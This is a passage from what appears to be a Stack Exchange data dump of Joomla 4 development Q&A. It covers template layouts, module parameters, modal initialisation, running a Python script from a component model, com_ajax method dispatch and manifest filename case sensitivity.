?&amp;gt;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.endTab&amp;quot;); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo HTMLHelper::_(&amp;quot;$tab.endTabSet&amp;quot;); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;music.edit&amp;quot; /&amp;gt;&#xA;        &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="15061" LastEditDate="2023-01-29T19:22:15.450" LastActivityDate="2023-01-30T23:05:15.617" Title="500 Layout default not found. (Joomla 4)" Tags="|php|component|joomla-4.x|extensions|" AnswerCount="1" CommentCount="21" ContentLicense="CC BY-SA 4.0" />
  <row Id="32740" PostTypeId="2" ParentId="32736" CreationDate="2023-01-26T22:50:53.940" Score="1" Body="&lt;p&gt;In the manifest file, &lt;code&gt;mod_yourmodule.xml&lt;/code&gt;, for your module you specify the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; element and put the details of the field(s) that you want to store the details of your pdf archives.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot; &amp;gt;&#xA;            &amp;lt;field name=&amp;quot;folder_source&amp;quot;&#xA;             ...&#xA;            &amp;lt;/field&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The list of available field types can be found here, &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Standard_form_field_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And in particular you might want to look at a field type of subforms, &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Subform_form_field_type&lt;/a&gt;, that will allow you to handle multiple fields per folder per year.&lt;/p&gt;&#xA;&lt;p&gt;In your module code you would get the values set from the parameters of your module.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = $this-&amp;gt;params;&#xA;$folder = $params-&amp;gt;get('folder_source');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-26T22:50:53.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32742" PostTypeId="1" AcceptedAnswerId="32744" CreationDate="2023-01-27T07:39:08.503" Score="2" ViewCount="129" Body="&lt;p&gt;I'm customizing a view in my component, I have tabs, each tab contains a modal, but when adding a new tab using js, I don't know how to initialize the new tab's modal via js?&lt;/p&gt;&#xA;" OwnerUserId="7480" LastEditorUserId="12352" LastEditDate="2023-01-27T12:27:42.500" LastActivityDate="2023-01-27T12:27:42.500" Title="How to initialize joomla modal through js" Tags="|joomla-4.x|joomla-api|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32743" PostTypeId="2" ParentId="32262" CreationDate="2023-01-27T09:19:53.810" Score="1" Body="&lt;p&gt;If you create a template with an index.php file in it and just put&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;at the top and then something like this...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;header&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;logo&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;header-menu&amp;quot;&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;message&amp;quot; /&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;module-1&amp;quot; /&amp;gt;&#xA;&amp;lt;jodc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;&amp;lt;footer&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;footer&amp;quot; /&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;footer-menu&amp;quot; /&amp;gt;&#xA;&amp;lt;/footer&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That will give you a template with no head content.  As long as you don't add&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to the document you can add all the modules/component/etc and you can even add your own custom css/js into the head section if you so want e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css&amp;quot; integrity=&amp;quot;sha384-xOolHFLEh07PJGoPkLv1IbcEPTNtaed2xpHsD9ESMhqIYd0nLMwNLD69Npy4HI+N&amp;quot; crossorigin=&amp;quot;anonymous&amp;quot;&amp;gt;&#xA;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css&amp;quot; integrity=&amp;quot;sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65&amp;quot; crossorigin=&amp;quot;anonymous&amp;quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;header&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-12 text-right&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;logo&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;menu&amp;quot; style=&amp;quot;bs-menu&amp;quot; /&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-6&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;spot-1&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-6&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;spot-2&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-3&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;left&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-6&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-3&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;right&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;footer&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-6&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;foot-1&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-6&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;foot-2&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-12&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;foot-menu&amp;quot; style=&amp;quot;bs-menu&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-12&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;footer&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This would give you a basic template with just  CDN based bootstrap css and javascript and a few module spaces like footer, foot-menu (using chrome style bs-menu which you could add to the layouts/chrome folder), foot-1, foot-2, left, right, spot-1, spot-2, menu (using bs-menu) and logo.&lt;/p&gt;&#xA;&lt;p&gt;If you wanted to go a bit more fancier you could do things like count the modules in each module position&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;&amp;lt;?php &#xA;$maincol = 12 ;&#xA;$left = ($this-&amp;gt;countModules( 'left' ) ? true : false ) ;&#xA;$right = ($this-&amp;gt;countModules ( 'right' ) ? true : false ) ;&#xA;$maincol -= ( $left ? 3 : 0 ) + ( $right ? 3 : 0 ) ;&#xA;if ( $left ) : ?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-3&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;left&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif ;?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-&amp;lt;?php echo $maincol ; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php if ( $right ) : ?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;col-3&amp;quot;&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;right&amp;quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif ; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That way the main column would be col-12 if there was nothing in the left/right columns but would shrink by three columns if there was something in either left/right or six if there are items in both the left/right columns.&lt;/p&gt;&#xA;" OwnerUserId="9893" LastActivityDate="2023-01-27T09:19:53.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32744" PostTypeId="2" ParentId="32742" CreationDate="2023-01-27T12:21:09.380" Score="3" Body="&lt;p&gt;It's simple, I found it possible to use &lt;code&gt;Joomla.initialiseModal( document.getElementById(YOUR_MODAL_ID) )&lt;/code&gt; to initialize the modal&lt;/p&gt;&#xA;" OwnerUserId="7480" LastActivityDate="2023-01-27T12:21:09.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32746" PostTypeId="1" AcceptedAnswerId="32747" CreationDate="2023-01-29T01:43:13.323" Score="1" ViewCount="344" Body="&lt;p&gt;I'm writing a custom Joomla 4 component, and when I try to run python code within the Model php file to pass to the View, the exec command returns an resultValue of 2.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The python code is valid&lt;/li&gt;&#xA;&lt;li&gt;The python code is executible for everyone 0755 permissions&lt;/li&gt;&#xA;&lt;li&gt;The webpage returns the result value of two (as per my return of $resultValue instead of result)&lt;/li&gt;&#xA;&lt;li&gt;The webpage of course returns nothing if I return $result instead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat site/src/Model/WeatherModel.php &#xA;&amp;lt;?php&#xA;namespace Vim\Component\com_vimsjoomlaweather\Site\Model;&#xA;&#xA;#error checking&#xA;error_reporting(E_ALL);&#xA;ini_set('display_errors', 1);&#xA;&#xA;use Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&#xA;class WeatherModel extends BaseDatabaseModel {&#xA;  public function getWeatherData() {&#xA;        exec('python ./weathermodel.py', $result, $returnValue);&#xA;        return $returnValue;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat site/src/Model/weathermodel.py &#xA;def get_weather_data():&#xA;    print(['weather data in print'])&#xA;    return [&amp;quot;weather data&amp;quot;]&#xA;&#xA;if __name__ == '__main__':&#xA;    get_weather_data()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also, this may need it's own ask, but the manifest xml document doesn't add the necessary permissions, and I am having to add them myself after component installation.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is &lt;code&gt;&amp;lt;file mode=&amp;quot;0755&amp;quot;&amp;gt;src/Model/weathermodel.py&amp;lt;/file&amp;gt;&lt;/code&gt; written wrong?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;files folder=&amp;quot;site/&amp;quot;&amp;gt;&#xA;        &amp;lt;filename&amp;gt;src/Model/weathermodel.py&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;file mode=&amp;quot;0755&amp;quot;&amp;gt;src/Model/weathermodel.py&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/files&amp;gt;```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16869" LastEditorUserId="16869" LastEditDate="2023-01-29T02:49:19.400" LastActivityDate="2023-01-29T08:45:17.180" Title="Running a python script within a Joomla 4 component gets return value of 2. How do I get Joomla to run the script successfully?" Tags="|component|joomla-4|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32747" PostTypeId="2" ParentId="32746" CreationDate="2023-01-29T04:59:01.867" Score="1" Body="&lt;h1&gt;Component not running python script, return value 2&lt;/h1&gt;&#xA;&lt;p&gt;Turns out PHP files inherit Joomla's working directory. The cwd ends up as the Joomla's working directory so &lt;code&gt;/path/to/joomla&lt;/code&gt; just for clarity this does not end up being the &lt;em&gt;components&lt;/em&gt; root directory. A simple way to get around this is to chdir in php.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;chdir(__DIR__);&#xA;exec('python weathermodel.py', $result, $returnValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;File permissions not being set at extension installation&lt;/h1&gt;&#xA;&lt;p&gt;Second issue about file permissions not being set well there doesn't seem to be a way to do that in the XML manifest file. But I deleted the extension and readded with the corrected version, as shown above and it works! It works because the python interpreter isn't held back by Linux permission bits.&lt;/p&gt;&#xA;&lt;h2&gt;A note on permissions&lt;/h2&gt;&#xA;&lt;p&gt;Even though the permissions are set as &lt;code&gt;644 / -rw-r--r--.&lt;/code&gt; it still runs. My guess is because it's being ran by the python interpreter and not BASH therefore file permissions don't come into play.&#xA;I believe this to be the case since, I created another file called &lt;code&gt;weathermodel.sh&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when I set the permissions to 644 I don't get data back! and it comes back with a return value of 126.&lt;/li&gt;&#xA;&lt;li&gt;But when I set the permissions to that file as 755 I get a return value of 0 and I get the data I want.&#xA;If you want to add a BASH script with proper permissions on installation you'll probably have to add some sort of bootstrap file, I think..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;In Summary&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP files inherit Joomla's current working directory&lt;/li&gt;&#xA;&lt;li&gt;Manifest files seem to not have the functionality set Linux permission bits&lt;/li&gt;&#xA;&lt;li&gt;Result value 2: file not found&lt;/li&gt;&#xA;&lt;li&gt;Result value 126: permissions issue&lt;/li&gt;&#xA;&lt;li&gt;Result value 0: all well&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16869" LastEditorUserId="12352" LastEditDate="2023-01-29T08:45:17.180" LastActivityDate="2023-01-29T08:45:17.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32748" PostTypeId="1" CreationDate="2023-01-30T11:09:05.577" Score="1" ViewCount="38" Body="&lt;p&gt;Just recently, I started working on a project in which I needed to add blog-menus in which I have to add custom parameters (for further filtering of the articles on the frontend).&lt;/p&gt;&#xA;&lt;p&gt;I've added a projects.xml and projects.php in my template inside the html/com_content/category/ directory and added the custom fields there (a couple of list fields).&#xA;The projects.php works as my template.&lt;/p&gt;&#xA;&lt;p&gt;But, there is one huge problem:&#xA;If I create a menu item, name the thing and fill out the fields (let's say they are called &amp;quot;category&amp;quot; and &amp;quot;subcategory&amp;quot;), everything works, but the url gets messed up, since the newly created parameters are added at the end as query parameters like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.domainname.com/menu-item?category=value1&amp;amp;subcategory=value2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Anyone know how to prevent this? All I want is to use these parameters (I cannot use Joomla-categories here, so I absolutely need to use something like this), but while at the same time having a clean url like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.domainname.com/menu-item&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a solution to this?&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="12352" LastEditDate="2023-01-30T22:34:09.990" LastActivityDate="2023-01-30T22:34:09.990" Title="Custom parameters in blog menu with own layout without messing up the sef-urls" Tags="|layout|menu-parameters|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32749" PostTypeId="1" AcceptedAnswerId="32752" CreationDate="2023-01-30T13:28:38.953" Score="1" ViewCount="158" Body="&lt;p&gt;I have created a &amp;quot;custom&amp;quot; authentication plugin and inside of it there is a function (&lt;code&gt;onAjaxMyfunction&lt;/code&gt;) that is called from a module through com_ajax.&lt;/p&gt;&#xA;&lt;p&gt;The call &amp;quot;url&amp;quot; looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_ajax&amp;amp;plugin=name_of_the_plugin&amp;amp;group=authentication&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it possible to call another function from the same plugin through ajax (ie &lt;code&gt;onAjaxMySecondFunction&lt;/code&gt;)?&lt;/p&gt;&#xA;&lt;p&gt;I have already tried to modify the url by adding &lt;code&gt;$method = name_of_the_method&lt;/code&gt; at the end, but it keeps calling the function &lt;code&gt;onAjaxMyfunction&lt;/code&gt; instead of &lt;code&gt;onAjaxMySecondFunction&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I also though to create a second plugin which extends the class of the first so I can make a separate ajax call there. But by doing this I am not sure how can I extend the class of the first plugin. Both are under authentication folder.&lt;/p&gt;&#xA;&lt;p&gt;So plugin A looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;class PlgAuthenticationMycustomauth extends CMSPlugin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How should I write it to extend it? I tried the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;class PlgAuthenticationMySecondPlugin extends PlgAuthenticationMycustomauth&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;but that didn't work.&lt;/p&gt;&#xA;" OwnerUserId="16871" LastEditorUserId="12352" LastEditDate="2023-01-30T22:31:58.310" LastActivityDate="2023-01-31T07:01:48.413" Title="Joomla plugin ajax request / class extend" Tags="|plugin|joomla-4.x|ajax|authentication|com-ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32750" PostTypeId="1" AcceptedAnswerId="32753" CreationDate="2023-01-30T13:43:02.743" Score="1" ViewCount="21" Body="&lt;p&gt;I created a template for Joomla 4x, it works well in XAMPP, but doesn't work well in my Hosting, it is Installed successfully in my hosting but I got an Error when I try to access the template configuration, when I try to click the SYSTEM -&amp;gt; SITE TEMPLATE STYLES -&amp;gt; THE SAID TEMPLATE, I got an&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error loading form file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;message.&lt;/p&gt;&#xA;&lt;p&gt;this is my MANIFEST:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;template&amp;quot; client=&amp;quot;site&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;masterlapak_template&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2023-01-27&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;dhany&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;dhanyfling@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;masterlapak.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Master Graphic&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU/GPL&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.2&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;masterlapak template&amp;lt;/description&amp;gt;&#xA;    &amp;lt;inheritable&amp;gt;1&amp;lt;/inheritable&amp;gt;&#xA;    &#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index1.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;templatedetails.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt; &#xA;        &amp;lt;folder&amp;gt;my_image&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;script&amp;lt;/folder&amp;gt;         &#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;positions&amp;gt;     &#xA;        &amp;lt;position&amp;gt;head&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;menu&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;main-top&amp;lt;/position&amp;gt;   &#xA;        &amp;lt;position&amp;gt;main-bottom&amp;lt;/position&amp;gt;        &#xA;        &amp;lt;position&amp;gt;myWhatsapp&amp;lt;/position&amp;gt;        &#xA;        &amp;lt;position&amp;gt;myFacebook&amp;lt;/position&amp;gt;&#xA;        &amp;lt;position&amp;gt;myMap&amp;lt;/position&amp;gt;&#xA;    &amp;lt;/positions&amp;gt;&#xA;    &#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;                            &#xA;            &amp;lt;fieldset name=&amp;quot;mybodyfont&amp;quot; label=&amp;quot;Body google font&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;mybodyfontname&amp;quot; label=&amp;quot;Font Name&amp;quot; type=&amp;quot;text&amp;quot; description=&amp;quot;Nama Google Font&amp;quot;/&amp;gt;                &#xA;                &amp;lt;field name=&amp;quot;mybodyfontcategory&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;sans-serif&amp;quot; required=&amp;quot;true&amp;quot; label=&amp;quot;Body Font Category&amp;quot; description=&amp;quot;Jenis Category yang anda pilih pada saat memilih google font&amp;quot;&amp;gt;&#xA;                      &amp;lt;option value=&amp;quot;serif&amp;quot;&amp;gt;serif&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&amp;quot;sans-serif&amp;quot;&amp;gt;sans-serif&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&amp;quot;cursive&amp;quot;&amp;gt;display&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&amp;quot;cursive&amp;quot;&amp;gt;hand writing&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&amp;quot;monospace&amp;quot;&amp;gt;monospace&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;mybodyfontsize&amp;quot; type=&amp;quot;range&amp;quot; default=&amp;quot;13&amp;quot; label=&amp;quot;Ukuran huruf&amp;quot; description=&amp;quot;dari 0 - 100&amp;quot; min=&amp;quot;0&amp;quot; max=&amp;quot;100&amp;quot; step=&amp;quot;1&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;mylogo&amp;quot; label=&amp;quot;logo&amp;quot; type=&amp;quot;accessiblemedia&amp;quot; /&amp;gt;                &#xA;            &amp;lt;/fieldset&amp;gt;               &#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to find where is the Error but couldn't find one, it is tested in XAMPP and doesn't generate any Error.&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-01-30T22:38:13.197" Title="Joomla Manifest XML works in XAMPP but doesn't work in Hosting" Tags="|joomla-4.x|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32752" PostTypeId="2" ParentId="32749" CreationDate="2023-01-30T22:34:58.650" Score="2" Body="&lt;p&gt;Plugins call a single method based on the name of the plugin.  But you can pass anything to the method including the name of another method you would like to run.&lt;/p&gt;&#xA;&lt;p&gt;Hence, running a call like the following.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery.ajax({&#xA;    url: 'index.php?option=com_ajax&amp;amp;plugin=MyPluginName&amp;amp;group=authentication&amp;amp;format=raw&amp;amp;custom_method=TestB',&#xA;    type: &amp;quot;get&amp;quot;,&#xA;    success :function(response){&#xA;        console.log(response);&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can catch the custom method and (after validating it) use it to run any method.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected $app;&#xA;&#xA;public function onAjaxMyPluginName()&#xA;{&#xA;    $valid_methods = ['TestA','TestB'];&#xA;    $requested_method = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('custom_method');&#xA;    $method = in_array($requested_method, $valid_methods) ? $requested_method : 'TestA';&#xA;    return $this-&amp;gt;{$method}();&#xA;}&#xA;&#xA;private function TestA()&#xA;{&#xA;    return 'sup';&#xA;}&#xA;&#xA;private function TestB()&#xA;{&#xA;    return 'hey';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2023-01-30T22:34:58.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32753" PostTypeId="2" ParentId="32750" CreationDate="2023-01-30T22:38:13.197" Score="0" Body="&lt;p&gt;I am assuming that the templatedetails.xml file does exist in your hosting directory.&lt;/p&gt;&#xA;&lt;p&gt;If your local XAMPP is on a Windows machine then you probably have an upper vs lower case character issue which is pretty common when developing on Windows and installing on a Unix based hosting accounts. On Windows the lowercase and uppercase characters are treated as interchangeable however this is not the case when you get to your hosting environment where an 'A' is not treated the same as an 'a'.&lt;/p&gt;&#xA;&lt;p&gt;Based on your description I would be looking at the case of the the template file name mentioned here.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename&amp;gt;templatedetails.xml&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The actual file names needs to be &lt;code&gt;templatedetails.xml&lt;/code&gt; and not &lt;code&gt;templateDetails.xml&lt;/code&gt; or &lt;code&gt;Templatedetails.xml&lt;/code&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;The 